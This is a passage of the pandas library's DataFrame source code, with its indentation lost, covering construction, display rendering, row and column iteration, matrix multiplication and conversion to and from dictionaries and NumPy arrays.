dtype = self._validate_dtype(dtype)
if isinstance(data, DataFrame):
data = data._mgr
if isinstance(data, (BlockManager, ArrayManager)):
# first check if a Manager is passed without any other arguments
# -> use fastpath (without checking Manager type)
if index is None and columns is None and dtype is None and not copy:
# GH#33357 fastpath
NDFrame.__init__(self, data)
return
manager = get_option("mode.data_manager")
if copy is None:
if isinstance(data, dict):
# retain pre-GH#38939 default behavior
copy = True
elif (
manager == "array"
and isinstance(data, (np.ndarray, ExtensionArray))
and data.ndim == 2
):
# INFO(ArrayManager) by default copy the 2D input array to get
# contiguous 1D arrays
copy = True
else:
copy = False
if isinstance(data, (BlockManager, ArrayManager)):
mgr = self._init_mgr(
data, axes={"index": index, "columns": columns}, dtype=dtype, copy=copy
)
elif isinstance(data, dict):
# GH#38939 de facto copy defaults to False only in non-dict cases
mgr = dict_to_mgr(data, index, columns, dtype=dtype, copy=copy, typ=manager)
elif isinstance(data, ma.MaskedArray):
import numpy.ma.mrecords as mrecords
# masked recarray
if isinstance(data, mrecords.MaskedRecords):
mgr = rec_array_to_mgr(
data,
index,
columns,
dtype,
copy,
typ=manager,
)
warnings.warn(
"Support for MaskedRecords is deprecated and will be "
"removed in a future version. Pass "
"{name: data[name] for name in data.dtype.names} instead.",
FutureWarning,
stacklevel=find_stack_level(),
)
# a masked array
else:
data = sanitize_masked_array(data)
mgr = ndarray_to_mgr(
data,
index,
columns,
dtype=dtype,
copy=copy,
typ=manager,
)
elif isinstance(data, (np.ndarray, Series, Index, ExtensionArray)):
if data.dtype.names:
# i.e. numpy structured array
data = cast(np.ndarray, data)
mgr = rec_array_to_mgr(
data,
index,
columns,
dtype,
copy,
typ=manager,
)
elif getattr(data, "name", None) is not None:
# i.e. Series/Index with non-None name
mgr = dict_to_mgr(
# error: Item "ndarray" of "Union[ndarray, Series, Index]" has no
# attribute "name"
{data.name: data}, # type: ignore[union-attr]
index,
columns,
dtype=dtype,
typ=manager,
)
else:
mgr = ndarray_to_mgr(
data,
index,
columns,
dtype=dtype,
copy=copy,
typ=manager,
)
# For data is list-like, or Iterable (will consume into list)
elif is_list_like(data):
if not isinstance(data, (abc.Sequence, ExtensionArray)):
if hasattr(data, "__array__"):
# GH#44616 big perf improvement for e.g. pytorch tensor
data = np.asarray(data)
else:
data = list(data)
if len(data) > 0:
if is_dataclass(data[0]):
data = dataclasses_to_dicts(data)
if not isinstance(data, np.ndarray) and treat_as_nested(data):
# exclude ndarray as we may have cast it a few lines above
if columns is not None:
# error: Argument 1 to "ensure_index" has incompatible type
# "Collection[Any]"; expected "Union[Union[Union[ExtensionArray,
# ndarray], Index, Series], Sequence[Any]]"
columns = ensure_index(columns) # type: ignore[arg-type]
arrays, columns, index = nested_data_to_arrays(
# error: Argument 3 to "nested_data_to_arrays" has incompatible
# type "Optional[Collection[Any]]"; expected "Optional[Index]"
data,
columns,
index, # type: ignore[arg-type]
dtype,
)
mgr = arrays_to_mgr(
arrays,
columns,
index,
dtype=dtype,
typ=manager,
)
else:
mgr = ndarray_to_mgr(
data,
index,
columns,
dtype=dtype,
copy=copy,
typ=manager,
)
else:
mgr = dict_to_mgr(
{},
index,
columns,
dtype=dtype,
typ=manager,
)
# For data is scalar
else:
if index is None or columns is None:
raise ValueError("DataFrame constructor not properly called!")
# Argument 1 to "ensure_index" has incompatible type "Collection[Any]";
# expected "Union[Union[Union[ExtensionArray, ndarray],
# Index, Series], Sequence[Any]]"
index = ensure_index(index) # type: ignore[arg-type]
# Argument 1 to "ensure_index" has incompatible type "Collection[Any]";
# expected "Union[Union[Union[ExtensionArray, ndarray],
# Index, Series], Sequence[Any]]"
columns = ensure_index(columns) # type: ignore[arg-type]
if not dtype:
dtype, _ = infer_dtype_from_scalar(data, pandas_dtype=True)
# For data is a scalar extension dtype
if isinstance(dtype, ExtensionDtype):
# TODO(EA2D): special case not needed with 2D EAs
values = [
construct_1d_arraylike_from_scalar(data, len(index), dtype)
for _ in range(len(columns))
]
mgr = arrays_to_mgr(values, columns, index, dtype=None, typ=manager)
else:
arr2d = construct_2d_arraylike_from_scalar(
data,
len(index),
len(columns),
dtype,
copy,
)
mgr = ndarray_to_mgr(
arr2d,
index,
columns,
dtype=arr2d.dtype,
copy=False,
typ=manager,
)
# ensure correct Manager type according to settings
mgr = mgr_to_mgr(mgr, typ=manager)
NDFrame.__init__(self, mgr)
# ----------------------------------------------------------------------
@property
def axes(self) -> list[Index]:
"""
Return a list representing the axes of the DataFrame.
It has the row axis labels and column axis labels as the only members.
They are returned in that order.
Examples
--------
>>> df = pd.DataFrame({'col1': [1, 2], 'col2': [3, 4]})
>>> df.axes
[RangeIndex(start=0, stop=2, step=1), Index(['col1', 'col2'],
dtype='object')]
"""
return [self.index, self.columns]
@property
def shape(self) -> tuple[int, int]:
"""
Return a tuple representing the dimensionality of the DataFrame.
See Also
--------
ndarray.shape : Tuple of array dimensions.
Examples
--------
>>> df = pd.DataFrame({'col1': [1, 2], 'col2': [3, 4]})
>>> df.shape
(2, 2)
>>> df = pd.DataFrame({'col1': [1, 2], 'col2': [3, 4],
... 'col3': [5, 6]})
>>> df.shape
(2, 3)
"""
return len(self.index), len(self.columns)
@property
def _is_homogeneous_type(self) -> bool:
"""
Whether all the columns in a DataFrame have the same type.
Returns
-------
bool
See Also
--------
Index._is_homogeneous_type : Whether the object has a single
dtype.
MultiIndex._is_homogeneous_type : Whether all the levels of a
MultiIndex have the same dtype.
Examples
--------
>>> DataFrame({"A": [1, 2], "B": [3, 4]})._is_homogeneous_type
True
>>> DataFrame({"A": [1, 2], "B": [3.0, 4.0]})._is_homogeneous_type
False
Items with the same type but different sizes are considered
different types.
>>> DataFrame({
... "A": np.array([1, 2], dtype=np.int32),
... "B": np.array([1, 2], dtype=np.int64)})._is_homogeneous_type
False
"""
if isinstance(self._mgr, ArrayManager):
return len({arr.dtype for arr in self._mgr.arrays}) == 1
if self._mgr.any_extension_types:
return len({block.dtype for block in self._mgr.blocks}) == 1
else:
return not self._is_mixed_type
@property
def _can_fast_transpose(self) -> bool:
"""
Can we transpose this DataFrame without creating any new array objects.
"""
if isinstance(self._mgr, ArrayManager):
return False
blocks = self._mgr.blocks
if len(blocks) != 1:
return False
dtype = blocks[0].dtype
# TODO(EA2D) special case would be unnecessary with 2D EAs
return not is_1d_only_ea_dtype(dtype)
# error: Return type "Union[ndarray, DatetimeArray, TimedeltaArray]" of
# "_values" incompatible with return type "ndarray" in supertype "NDFrame"
@property
def _values( # type: ignore[override]
self,
) -> np.ndarray | DatetimeArray | TimedeltaArray:
"""
Analogue to ._values that may return a 2D ExtensionArray.
"""
self._consolidate_inplace()
mgr = self._mgr
if isinstance(mgr, ArrayManager):
if len(mgr.arrays) == 1 and not is_1d_only_ea_obj(mgr.arrays[0]):
# error: Item "ExtensionArray" of "Union[ndarray, ExtensionArray]"
# has no attribute "reshape"
return mgr.arrays[0].reshape(-1, 1) # type: ignore[union-attr]
return self.values
blocks = mgr.blocks
if len(blocks) != 1:
return self.values
arr = blocks[0].values
if arr.ndim == 1:
# non-2D ExtensionArray
return self.values
# more generally, whatever we allow in NDArrayBackedExtensionBlock
arr = cast("np.ndarray | DatetimeArray | TimedeltaArray", arr)
return arr.T
# ----------------------------------------------------------------------
# Rendering Methods
def _repr_fits_vertical_(self) -> bool:
"""
Check length against max_rows.
"""
max_rows = get_option("display.max_rows")
return len(self) <= max_rows
def _repr_fits_horizontal_(self, ignore_width: bool = False) -> bool:
"""
Check if full repr fits in horizontal boundaries imposed by the display
options width and max_columns.
In case of non-interactive session, no boundaries apply.
`ignore_width` is here so ipynb+HTML output can behave the way
users expect. display.max_columns remains in effect.
GH3541, GH3573
"""
width, height = console.get_console_size()
max_columns = get_option("display.max_columns")
nb_columns = len(self.columns)
# exceed max columns
if (max_columns and nb_columns > max_columns) or (
(not ignore_width) and width and nb_columns > (width // 2)
):
return False
# used by repr_html under IPython notebook or scripts ignore terminal
# dims
if ignore_width or not console.in_interactive_session():
return True
if get_option("display.width") is not None or console.in_ipython_frontend():
# check at least the column row for excessive width
max_rows = 1
else:
max_rows = get_option("display.max_rows")
# when auto-detecting, so width=None and not in ipython front end
# check whether repr fits horizontal by actually checking
# the width of the rendered repr
buf = StringIO()
# only care about the stuff we'll actually print out
# and to_string on entire frame may be expensive
d = self
if max_rows is not None: # unlimited rows
# min of two, where one may be None
d = d.iloc[: min(max_rows, len(d))]
else:
return True
d.to_string(buf=buf)
value = buf.getvalue()
repr_width = max(len(line) for line in value.split("\n"))
return repr_width < width
def _info_repr(self) -> bool:
"""
True if the repr should show the info view.
"""
info_repr_option = get_option("display.large_repr") == "info"
return info_repr_option and not (
self._repr_fits_horizontal_() and self._repr_fits_vertical_()
)
def __repr__(self) -> str:
"""
Return a string representation for a particular DataFrame.
"""
if self._info_repr():
buf = StringIO()
self.info(buf=buf)
return buf.getvalue()
repr_params = fmt.get_dataframe_repr_params()
return self.to_string(**repr_params)
def _repr_html_(self) -> str | None:
"""
Return a html representation for a particular DataFrame.
Mainly for IPython notebook.
"""
if self._info_repr():
buf = StringIO()
self.info(buf=buf)
# need to escape the <class>, should be the first line.
val = buf.getvalue().replace("<", r"<", 1)
val = val.replace(">", r">", 1)
return "<pre>" + val + "</pre>"
if get_option("display.notebook_repr_html"):
max_rows = get_option("display.max_rows")
min_rows = get_option("display.min_rows")
max_cols = get_option("display.max_columns")
show_dimensions = get_option("display.show_dimensions")
formatter = fmt.DataFrameFormatter(
self,
columns=None,
col_space=None,
na_rep="NaN",
formatters=None,
float_format=None,
sparsify=None,
justify=None,
index_names=True,
header=True,
index=True,
bold_rows=True,
escape=True,
max_rows=max_rows,
min_rows=min_rows,
max_cols=max_cols,
show_dimensions=show_dimensions,
decimal=".",
)
return fmt.DataFrameRenderer(formatter).to_html(notebook=True)
else:
return None
@overload
def to_string(
self,
buf: None = ...,
columns: Sequence[str] | None = ...,
col_space: int | list[int] | dict[Hashable, int] | None = ...,
header: bool | Sequence[str] = ...,
index: bool = ...,
na_rep: str = ...,
formatters: fmt.FormattersType | None = ...,
float_format: fmt.FloatFormatType | None = ...,
sparsify: bool | None = ...,
index_names: bool = ...,
justify: str | None = ...,
max_rows: int | None = ...,
max_cols: int | None = ...,
show_dimensions: bool = ...,
decimal: str = ...,
line_width: int | None = ...,
min_rows: int | None = ...,
max_colwidth: int | None = ...,
encoding: str | None = ...,
) -> str:
...
@overload
def to_string(
self,
buf: FilePath | WriteBuffer[str],
columns: Sequence[str] | None = ...,
col_space: int | list[int] | dict[Hashable, int] | None = ...,
header: bool | Sequence[str] = ...,
index: bool = ...,
na_rep: str = ...,
formatters: fmt.FormattersType | None = ...,
float_format: fmt.FloatFormatType | None = ...,
sparsify: bool | None = ...,
index_names: bool = ...,
justify: str | None = ...,
max_rows: int | None = ...,
max_cols: int | None = ...,
show_dimensions: bool = ...,
decimal: str = ...,
line_width: int | None = ...,
min_rows: int | None = ...,
max_colwidth: int | None = ...,
encoding: str | None = ...,
) -> None:
...
@Substitution(
header_type="bool or sequence of str",
header="Write out the column names. If a list of strings "
"is given, it is assumed to be aliases for the "
"column names",
col_space_type="int, list or dict of int",
col_space="The minimum width of each column. If a list of ints is given "
"every integers corresponds with one column. If a dict is given, the key "
"references the column, while the value defines the space to use.",
)
@Substitution(shared_params=fmt.common_docstring, returns=fmt.return_docstring)
def to_string(
self,
buf: FilePath | WriteBuffer[str] | None = None,
columns: Sequence[str] | None = None,
col_space: int | list[int] | dict[Hashable, int] | None = None,
header: bool | Sequence[str] = True,
index: bool = True,
na_rep: str = "NaN",
formatters: fmt.FormattersType | None = None,
float_format: fmt.FloatFormatType | None = None,
sparsify: bool | None = None,
index_names: bool = True,
justify: str | None = None,
max_rows: int | None = None,
max_cols: int | None = None,
show_dimensions: bool = False,
decimal: str = ".",
line_width: int | None = None,
min_rows: int | None = None,
max_colwidth: int | None = None,
encoding: str | None = None,
) -> str | None:
"""
Render a DataFrame to a console-friendly tabular output.
%(shared_params)s
line_width : int, optional
Width to wrap a line in characters.
min_rows : int, optional
The number of rows to display in the console in a truncated repr
(when number of rows is above `max_rows`).
max_colwidth : int, optional
Max width to truncate each column in characters. By default, no limit.
.. versionadded:: 1.0.0
encoding : str, default "utf-8"
Set character encoding.
.. versionadded:: 1.0
%(returns)s
See Also
--------
to_html : Convert DataFrame to HTML.
Examples
--------
>>> d = {'col1': [1, 2, 3], 'col2': [4, 5, 6]}
>>> df = pd.DataFrame(d)
>>> print(df.to_string())
col1 col2
0 1 4
1 2 5
2 3 6
"""
from pandas import option_context
with option_context("display.max_colwidth", max_colwidth):
formatter = fmt.DataFrameFormatter(
self,
columns=columns,
col_space=col_space,
na_rep=na_rep,
formatters=formatters,
float_format=float_format,
sparsify=sparsify,
justify=justify,
index_names=index_names,
header=header,
index=index,
min_rows=min_rows,
max_rows=max_rows,
max_cols=max_cols,
show_dimensions=show_dimensions,
decimal=decimal,
)
return fmt.DataFrameRenderer(formatter).to_string(
buf=buf,
encoding=encoding,
line_width=line_width,
)
# ----------------------------------------------------------------------
@property
def style(self) -> Styler:
"""
Returns a Styler object.
Contains methods for building a styled HTML representation of the DataFrame.
See Also
--------
io.formats.style.Styler : Helps style a DataFrame or Series according to the
data with HTML and CSS.
"""
from pandas.io.formats.style import Styler
return Styler(self)
_shared_docs[
"items"
] = r"""
Iterate over (column name, Series) pairs.
Iterates over the DataFrame columns, returning a tuple with
the column name and the content as a Series.
Yields
------
label : object
The column names for the DataFrame being iterated over.
content : Series
The column entries belonging to each label, as a Series.
See Also
--------
DataFrame.iterrows : Iterate over DataFrame rows as
(index, Series) pairs.
DataFrame.itertuples : Iterate over DataFrame rows as namedtuples
of the values.
Examples
--------
>>> df = pd.DataFrame({'species': ['bear', 'bear', 'marsupial'],
... 'population': [1864, 22000, 80000]},
... index=['panda', 'polar', 'koala'])
>>> df
species population
panda bear 1864
polar bear 22000
koala marsupial 80000
>>> for label, content in df.items():
... print(f'label: {label}')
... print(f'content: {content}', sep='\n')
...
label: species
content:
panda bear
polar bear
koala marsupial
Name: species, dtype: object
label: population
content:
panda 1864
polar 22000
koala 80000
Name: population, dtype: int64
"""
@Appender(_shared_docs["items"])
def items(self) -> Iterable[tuple[Hashable, Series]]:
if self.columns.is_unique and hasattr(self, "_item_cache"):
for k in self.columns:
yield k, self._get_item_cache(k)
else:
for i, k in enumerate(self.columns):
yield k, self._ixs(i, axis=1)
@Appender(_shared_docs["items"])
def iteritems(self) -> Iterable[tuple[Hashable, Series]]:
yield from self.items()
def iterrows(self) -> Iterable[tuple[Hashable, Series]]:
"""
Iterate over DataFrame rows as (index, Series) pairs.
Yields
------
index : label or tuple of label
The index of the row. A tuple for a `MultiIndex`.
data : Series
The data of the row as a Series.
See Also
--------
DataFrame.itertuples : Iterate over DataFrame rows as namedtuples of the values.
DataFrame.items : Iterate over (column name, Series) pairs.
Notes
-----
1. Because ``iterrows`` returns a Series for each row,
it does **not** preserve dtypes across the rows (dtypes are
preserved across columns for DataFrames). For example,
>>> df = pd.DataFrame([[1, 1.5]], columns=['int', 'float'])
>>> row = next(df.iterrows())[1]
>>> row
int 1.0
float 1.5
Name: 0, dtype: float64
>>> print(row['int'].dtype)
float64
>>> print(df['int'].dtype)
int64
To preserve dtypes while iterating over the rows, it is better
to use :meth:`itertuples` which returns namedtuples of the values
and which is generally faster than ``iterrows``.
2. You should **never modify** something you are iterating over.
This is not guaranteed to work in all cases. Depending on the
data types, the iterator returns a copy and not a view, and writing
to it will have no effect.
"""
columns = self.columns
klass = self._constructor_sliced
for k, v in zip(self.index, self.values):
s = klass(v, index=columns, name=k)
yield k, s
def itertuples(
self, index: bool = True, name: str | None = "Pandas"
) -> Iterable[tuple[Any, ...]]:
"""
Iterate over DataFrame rows as namedtuples.
Parameters
----------
index : bool, default True
If True, return the index as the first element of the tuple.
name : str or None, default "Pandas"
The name of the returned namedtuples or None to return regular
tuples.
Returns
-------
iterator
An object to iterate over namedtuples for each row in the
DataFrame with the first field possibly being the index and
following fields being the column values.
See Also
--------
DataFrame.iterrows : Iterate over DataFrame rows as (index, Series)
pairs.
DataFrame.items : Iterate over (column name, Series) pairs.
Notes
-----
The column names will be renamed to positional names if they are
invalid Python identifiers, repeated, or start with an underscore.
On python versions < 3.7 regular tuples are returned for DataFrames
with a large number of columns (>254).
Examples
--------
>>> df = pd.DataFrame({'num_legs': [4, 2], 'num_wings': [0, 2]},
... index=['dog', 'hawk'])
>>> df
num_legs num_wings
dog 4 0
hawk 2 2
>>> for row in df.itertuples():
... print(row)
...
Pandas(Index='dog', num_legs=4, num_wings=0)
Pandas(Index='hawk', num_legs=2, num_wings=2)
By setting the `index` parameter to False we can remove the index
as the first element of the tuple:
>>> for row in df.itertuples(index=False):
... print(row)
...
Pandas(num_legs=4, num_wings=0)
Pandas(num_legs=2, num_wings=2)
With the `name` parameter set we set a custom name for the yielded
namedtuples:
>>> for row in df.itertuples(name='Animal'):
... print(row)
...
Animal(Index='dog', num_legs=4, num_wings=0)
Animal(Index='hawk', num_legs=2, num_wings=2)
"""
arrays = []
fields = list(self.columns)
if index:
arrays.append(self.index)
fields.insert(0, "Index")
# use integer indexing because of possible duplicate column names
arrays.extend(self.iloc[:, k] for k in range(len(self.columns)))
if name is not None:
# https://github.com/python/mypy/issues/9046
# error: namedtuple() expects a string literal as the first argument
itertuple = collections.namedtuple( # type: ignore[misc]
name, fields, rename=True
)
return map(itertuple._make, zip(*arrays))
# fallback to regular tuples
return zip(*arrays)
def __len__(self) -> int:
"""
Returns length of info axis, but here we use the index.
"""
return len(self.index)
@overload
def dot(self, other: Series) -> Series:
...
@overload
def dot(self, other: DataFrame | Index | ArrayLike) -> DataFrame:
...
def dot(self, other: AnyArrayLike | DataFrame) -> DataFrame | Series:
"""
Compute the matrix multiplication between the DataFrame and other.
This method computes the matrix product between the DataFrame and the
values of an other Series, DataFrame or a numpy array.
It can also be called using ``self @ other`` in Python >= 3.5.
Parameters
----------
other : Series, DataFrame or array-like
The other object to compute the matrix product with.
Returns
-------
Series or DataFrame
If other is a Series, return the matrix product between self and
other as a Series. If other is a DataFrame or a numpy.array, return
the matrix product of self and other in a DataFrame of a np.array.
See Also
--------
Series.dot: Similar method for Series.
Notes
-----
The dimensions of DataFrame and other must be compatible in order to
compute the matrix multiplication. In addition, the column names of
DataFrame and the index of other must contain the same values, as they
will be aligned prior to the multiplication.
The dot method for Series computes the inner product, instead of the
matrix product here.
Examples
--------
Here we multiply a DataFrame with a Series.
>>> df = pd.DataFrame([[0, 1, -2, -1], [1, 1, 1, 1]])
>>> s = pd.Series([1, 1, 2, 1])
>>> df.dot(s)
0 -4
1 5
dtype: int64
Here we multiply a DataFrame with another DataFrame.
>>> other = pd.DataFrame([[0, 1], [1, 2], [-1, -1], [2, 0]])
>>> df.dot(other)
0 1
0 1 4
1 2 2
Note that the dot method give the same result as @
>>> df @ other
0 1
0 1 4
1 2 2
The dot method works also if other is an np.array.
>>> arr = np.array([[0, 1], [1, 2], [-1, -1], [2, 0]])
>>> df.dot(arr)
0 1
0 1 4
1 2 2
Note how shuffling of the objects does not change the result.
>>> s2 = s.reindex([1, 0, 2, 3])
>>> df.dot(s2)
0 -4
1 5
dtype: int64
"""
if isinstance(other, (Series, DataFrame)):
common = self.columns.union(other.index)
if len(common) > len(self.columns) or len(common) > len(other.index):
raise ValueError("matrices are not aligned")
left = self.reindex(columns=common, copy=False)
right = other.reindex(index=common, copy=False)
lvals = left.values
rvals = right._values
else:
left = self
lvals = self.values
rvals = np.asarray(other)
if lvals.shape[1] != rvals.shape[0]:
raise ValueError(
f"Dot product shape mismatch, {lvals.shape} vs {rvals.shape}"
)
if isinstance(other, DataFrame):
return self._constructor(
np.dot(lvals, rvals), index=left.index, columns=other.columns
)
elif isinstance(other, Series):
return self._constructor_sliced(np.dot(lvals, rvals), index=left.index)
elif isinstance(rvals, (np.ndarray, Index)):
result = np.dot(lvals, rvals)
if result.ndim == 2:
return self._constructor(result, index=left.index)
else:
return self._constructor_sliced(result, index=left.index)
else: # pragma: no cover
raise TypeError(f"unsupported type: {type(other)}")
@overload
def __matmul__(self, other: Series) -> Series:
...
@overload
def __matmul__(
self, other: AnyArrayLike | DataFrame | Series
) -> DataFrame | Series:
...
def __matmul__(
self, other: AnyArrayLike | DataFrame | Series
) -> DataFrame | Series:
"""
Matrix multiplication using binary `@` operator in Python>=3.5.
"""
return self.dot(other)
def __rmatmul__(self, other):
"""
Matrix multiplication using binary `@` operator in Python>=3.5.
"""
try:
return self.T.dot(np.transpose(other)).T
except ValueError as err:
if "shape mismatch" not in str(err):
raise
# GH#21581 give exception message for original shapes
msg = f"shapes {np.shape(other)} and {self.shape} not aligned"
raise ValueError(msg) from err
# ----------------------------------------------------------------------
# IO methods (to / from other formats)
@classmethod
def from_dict(
cls,
data,
orient: str = "columns",
dtype: Dtype | None = None,
columns=None,
) -> DataFrame:
"""
Construct DataFrame from dict of array-like or dicts.
Creates DataFrame object from dictionary by columns or by index
allowing dtype specification.
Parameters
----------
data : dict
Of the form {field : array-like} or {field : dict}.
orient : {'columns', 'index', 'tight'}, default 'columns'
The "orientation" of the data. If the keys of the passed dict
should be the columns of the resulting DataFrame, pass 'columns'
(default). Otherwise if the keys should be rows, pass 'index'.
If 'tight', assume a dict with keys ['index', 'columns', 'data',
'index_names', 'column_names'].
.. versionadded:: 1.4.0
'tight' as an allowed value for the ``orient`` argument
dtype : dtype, default None
Data type to force, otherwise infer.
columns : list, default None
Column labels to use when ``orient='index'``. Raises a ValueError
if used with ``orient='columns'`` or ``orient='tight'``.
Returns
-------
DataFrame
See Also
--------
DataFrame.from_records : DataFrame from structured ndarray, sequence
of tuples or dicts, or DataFrame.
DataFrame : DataFrame object creation using constructor.
DataFrame.to_dict : Convert the DataFrame to a dictionary.
Examples
--------
By default the keys of the dict become the DataFrame columns:
>>> data = {'col_1': [3, 2, 1, 0], 'col_2': ['a', 'b', 'c', 'd']}
>>> pd.DataFrame.from_dict(data)
col_1 col_2
0 3 a
1 2 b
2 1 c
3 0 d
Specify ``orient='index'`` to create the DataFrame using dictionary
keys as rows:
>>> data = {'row_1': [3, 2, 1, 0], 'row_2': ['a', 'b', 'c', 'd']}
>>> pd.DataFrame.from_dict(data, orient='index')
0 1 2 3
row_1 3 2 1 0
row_2 a b c d
When using the 'index' orientation, the column names can be
specified manually:
>>> pd.DataFrame.from_dict(data, orient='index',
... columns=['A', 'B', 'C', 'D'])
A B C D
row_1 3 2 1 0
row_2 a b c d
Specify ``orient='tight'`` to create the DataFrame using a 'tight'
format:
>>> data = {'index': [('a', 'b'), ('a', 'c')],
... 'columns': [('x', 1), ('y', 2)],
... 'data': [[1, 3], [2, 4]],
... 'index_names': ['n1', 'n2'],
... 'column_names': ['z1', 'z2']}
>>> pd.DataFrame.from_dict(data, orient='tight')
z1 x y
z2 1 2
n1 n2
a b 1 3
c 2 4
"""
index = None
orient = orient.lower()
if orient == "index":
if len(data) > 0:
# TODO speed up Series case
if isinstance(list(data.values())[0], (Series, dict)):
data = _from_nested_dict(data)
else:
data, index = list(data.values()), list(data.keys())
elif orient == "columns" or orient == "tight":
if columns is not None:
raise ValueError(f"cannot use columns parameter with orient='{orient}'")
else: # pragma: no cover
raise ValueError("only recognize index or columns for orient")
if orient != "tight":
return cls(data, index=index, columns=columns, dtype=dtype)
else:
realdata = data["data"]
def create_index(indexlist, namelist):
index: Index
if len(namelist) > 1:
index = MultiIndex.from_tuples(indexlist, names=namelist)
else:
index = Index(indexlist, name=namelist[0])
return index
index = create_index(data["index"], data["index_names"])
columns = create_index(data["columns"], data["column_names"])
return cls(realdata, index=index, columns=columns, dtype=dtype)
def to_numpy(
self,
dtype: npt.DTypeLike | None = None,
copy: bool = False,
na_value=lib.no_default,
) -> np.ndarray:
"""
Convert the DataFrame to a NumPy array.
By default, the dtype of the returned array will be the common NumPy
dtype of all types in the DataFrame. For example, if the dtypes are
``float16`` and ``float32``, the results dtype will be ``float32``.
This may require copying data and coercing values, which may be
expensive.
Parameters
----------
dtype : str or numpy.dtype, optional
The dtype to pass to :meth:`numpy.asarray`.
copy : bool, default False
Whether to ensure that the returned value is not a view on
another array. Note that ``copy=False`` does not *ensure* that
``to_numpy()`` is no-copy. Rather, ``copy=True`` ensure that
a copy is made, even if not strictly necessary.
na_value : Any, optional
The value to use for missing values. The default value depends
on `dtype` and the dtypes of the DataFrame columns.
.. versionadded:: 1.1.0
Returns
-------
numpy.ndarray
See Also
--------
Series.to_numpy : Similar method for Series.
Examples
--------
>>> pd.DataFrame({"A": [1, 2], "B": [3, 4]}).to_numpy()
array([[1, 3],
[2, 4]])
With heterogeneous data, the lowest common type will have to
be used.
>>> df = pd.DataFrame({"A": [1, 2], "B": [3.0, 4.5]})
>>> df.to_numpy()
array([[1. , 3. ],
[2. , 4.5]])
For a mix of numeric and non-numeric types, the output array will
have object dtype.
>>> df['C'] = pd.date_range('2000', periods=2)
>>> df.to_numpy()
array([[1, 3.0, Timestamp('2000-01-01 00:00:00')],
[2, 4.5, Timestamp('2000-01-02 00:00:00')]], dtype=object)
"""
self._consolidate_inplace()
if dtype is not None:
dtype = np.dtype(dtype)
result = self._mgr.as_array(dtype=dtype, copy=copy, na_value=na_value)
if result.dtype is not dtype:
result = np.array(result, dtype=dtype, copy=False)
return result
def to_dict(self, orient: str = "dict", into=dict):
"""
Convert the DataFrame to a dictionary.
The type of the key-value pairs can be customized with the parameters
(see below).
Parameters
----------
orient : str {'dict', 'list', 'series', 'split', 'records', 'index'}
Determines the type of the values of the dictionary.
- 'dict' (default) : dict like {column -> {index -> value}}
- 'list' : dict like {column -> [values]}
- 'series' : dict like {column -> Series(values)}
- 'split' : dict like
{'index' -> [index], 'columns' -> [columns], 'data' -> [values]}
- 'tight' : dict like
{'index' -> [index], 'columns' -> [columns], 'data' -> [values],
'index_names' -> [index.names], 'column_names' -> [column.names]}
- 'records' : list like
[{column -> value}, ... , {column -> value}]
- 'index' : dict like {index -> {column -> value}}
Abbreviations are allowed. `s` indicates `series` and `sp`
indicates `split`.
.. versionadded:: 1.4.0
'tight' as an allowed value for the ``orient`` argument
into : class, default dict
The collections.abc.Mapping subclass used for all Mappings
in the return value. Can be the actual class or an empty
instance of the mapping type you want. If you want a
collections.defaultdict, you must pass it initialized.
Returns
-------
dict, list or collections.abc.Mapping
Return a collections.abc.Mapping object representing the DataFrame.
The resulting transformation depends on the `orient` parameter.
See Also
--------
DataFrame.from_dict: Create a DataFrame from a dictionary.
DataFrame.to_json: Convert a DataFrame to JSON format.
Examples
--------
>>> df = pd.DataFrame({'col1': [1, 2],
... 'col2': [0.5, 0.75]},
... index=['row1', 'row2'])
>>> df
col1 col2
row1 1 0.50
row2 2 0.75
>>> df.to_dict()
{'col1': {'row1': 1, 'row2': 2}, 'col2': {'row1': 0.5, 'row2': 0.75}}
You can specify the return orientation.
>>> df.to_dict('series')
{'col1': row1 1
row2 2
Name: col1, dtype: int64,
'col2': row1 0.50
row2 0.75
Name: col2, dtype: float64}
>>> df.to_dict('split')
{'index': ['row1', 'row2'], 'columns': ['col1', 'col2'],
'data': [[1, 0.5], [2, 0.75]]}
>>> df.to_dict('records')
[{'col1': 1, 'col2': 0.5}, {'col1': 2, 'col2': 0.75}]
>>> df.to_dict('index')
{'row1': {'col1': 1, 'col2': 0.5}, 'row2': {'col1': 2, 'col2': 0.75}}
>>> df.to_dict('tight')
{'index': ['row1', 'row2'], 'columns': ['col1', 'col2'],
'data': [[1, 0.5], [2, 0.75]], 'index_names': [None], 'column_names': [None]}
You can also specify the mapping type.
>>> from collections import OrderedDict, defaultdict
>>> df.to_dict(into=OrderedDict)
OrderedDict([('col1', OrderedDict([('row1', 1), ('row2', 2)])),
('col2', OrderedDict([('row1', 0.5), ('row2', 0.75)]))])
If you want a `defaultdict`, you need to initialize it:
>>> dd = defaultdict(list)
>>> df.to_dict('records', into=dd)
[defaultdict(<class 'list'>, {'col1': 1, 'col2': 0.5}),
defaultdict(<class 'list'>, {'col1': 2, 'col2': 0.75})]
"""
if not self.columns.is_unique:
warnings.warn(
"DataFrame columns are not unique, some columns will be omitted.",
UserWarning,
stacklevel=find_stack_level(),
)
# GH16122
into_c = com.standardize_mapping(into)
orient = orient.lower()
# GH32515
if orient.startswith(("d", "l", "s", "r", "i")) and orient not in {
"dict",
"list",
"series",
"split",
"records",
"index",
}:
warnings.warn(
"Using short name for 'orient' is deprecated. Only the "
"options: ('dict', list, 'series', 'split', 'records', 'index') "
"will be used in a future version. Use one of the above "
"to silence this warning.",
FutureWarning,
stacklevel=find_stack_level(),
)
if orient.startswith("d"):
orient = "dict"
elif orient.startswith("l"):
orient = "list"
elif orient.startswith("sp"):
orient = "split"
elif orient.startswith("s"):
orient = "series"
elif orient.startswith("r"):
orient = "records"
elif orient.startswith("i"):
orient = "index"
if orient == "dict":
return into_c((k, v.to_dict(into)) for k, v in self.items())
elif orient == "list":
return into_c((k, v.tolist()) for k, v in self.items())
elif orient == "split":
return into_c(
(
("index", self.index.tolist()),
("columns", self.columns.tolist()),
(
"data",
[
list(map(maybe_box_native, t))
for t in self.itertuples(index=False, name=None)
],
),
)
)
elif orient == "tight":
return into_c(
(
("index", self.index.tolist()),
("columns", self.columns.tolist()),
(
"data",
[
list(map(maybe_box_native, t))
for t in self.itertuples(index=False, name=None)
],
),
("index_names", list(self.index.names)),
("column_names", list(self.columns.names)),
)
)
elif orient == "series":
return into_c((k, v) for k, v in self.items())
elif orient == "records":
columns = self.columns.tolist()
rows = (
dict(zip(columns, row))
for row in self.itertuples(index=False, name=None)
)
return [
into_c((k, maybe_box_native(v)) for k, v in row.items()) for row in rows
]
elif orient == "index":
if not self.index.is_unique:
